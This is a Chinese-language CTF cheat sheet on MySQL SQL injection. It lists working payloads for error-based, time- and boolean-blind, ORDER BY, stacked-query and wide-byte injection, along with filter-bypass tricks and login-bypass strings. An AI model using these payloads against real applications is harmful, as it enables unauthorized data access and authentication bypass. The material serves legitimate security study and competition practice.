CTF SQL注入

目录

  • 一、宽字节注入
  • 二、基于约束的注入
  • 三、报错注入
  • 四、时间盲注
  • 五、bool盲注
  • 六、order by的注入
  • 六、INSERT、UPDATE、DELETE相关的注入
  • 七、堆叠注入
  • 八、常用绕过
  • 九、万能密码

一、宽字节注入

  • 原理:GBK编码、URL转码
    利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
    例如:' -> ' -> %5C%27
    %df' -> %df' -> %df%5C%27

  • sql字符集特性

    MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
    可以看到大写O和Ö是相等的

  • SQL注入常用URL编码
    空格 %20
    ' %27
    # %23
    \ %5C
  • php-addslashes函数:在特殊字符前加上反斜线\来转义
  • 如何从addslashes函数逃逸?
    • \前面再加一个\,变成\\',这样\就被转义了
    • 把\弄没
  • 表名或列名可以使用16进制转码来实现
    例如:ctf -> 0x637466
    sqlmap中加参数--hex

二、基于约束的注入

  • 原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据
  • 例如:注册admin + 很多空格 + 1,成功以admin身份登录

三、报错注入

  • 公式

        and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
    
        or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
    
        and extractvalue(1,concat(0x7e,(select database())))
    
        and exp(~(select * from (select user())a));
    
        and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

四、时间盲注

  • 原理:能够截取字符串,同时触发延时即可
    SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))
    SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

  • 相关函数

    • 延时方法
      • SLEEP(duration)
        CTF SQL注入_第1张图片

      • BENCHMARK(count,expr)
        CTF SQL注入_第2张图片
        例如select benchmark(10000000,sha(1))

      • 笛卡尔积
        例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;
        ps:COUNT(*)计算行数

      • GET_LOCK(str,timeout)
        需要开启两个会话才能生效
        CTF SQL注入_第3张图片

      • RLIKE
        通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短
        例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b
        CTF SQL注入_第4张图片

    • 条件
      • IF(expr1,expr2,expr3)
        CTF SQL注入_第5张图片

      • CASE WHEN [condition] when [result]
        CTF SQL注入_第6张图片

    • 字符串截取
      • SUBSTR(SUBSTRING)
        substr同substring,有多种参数选择
        SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
        CTF SQL注入_第7张图片

      • MID(str,pos,len)同SUBSTRING(str,pos,len)

      • SUBSTRING_INDEX(str,delim,count)
        CTF SQL注入_第8张图片

      • LEFT(str,len)
        CTF SQL注入_第9张图片

    • 字符串转换
      • ASCII()
      • ORD()
      • CHR()

五、bool盲注

  • 原理:利用回显的消息不同,判断输入表达式是否正确
  • 常用函数
    基本同时间盲注

六、order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。
ORDER BY子句的语法格式为:
ORDER BY {column_name [ASC|DESC]}[,...n]

  • ORDER BY语句默认按照升序对记录进行排序
  • 在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
  • 当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
  • 根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
  • ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如
    select * from xxx order by id|(sleep(5))
  • ORDER BY在括号中时后面可以跟UNION,例如
    (select 1,2,3 order by 3 asc)union(select 2,3,4)

六、INSERT、UPDATE、DELETE相关的注入

  • INSERT
    CTF SQL注入_第10张图片

    例如:insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')

  • UPDATE
    CTF SQL注入_第11张图片

    例如:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

  • delete
    CTF SQL注入_第12张图片

    例如:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

七、堆叠注入

  • 原理:利用;结束语句并插入自己的sql语句
  • 适用:
    • Mysql、SqlServer、Postgresql(Oracle不行)
    • 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
  • 例子
    利用存储过程绕过select过滤
    http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;# 使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare") 去掉URL编码后 ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

八、常用绕过

SQL注入绕过技巧

  • 空格
    • /**/
  • =
    • like
    • regexp
    • !(<>)
  • '
    • 转义符\
    • 16进制(例如:ctf -> 0x637466)
    • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
    • substr from for
    • if->case when

九、万能密码

select * from admin where username = '' and password = ''

username password
admin'#
'+' '+'
aaa'=' aaa'='
1\ '^'1
'%1#
'=0#

你可能感兴趣的:(CTF SQL注入)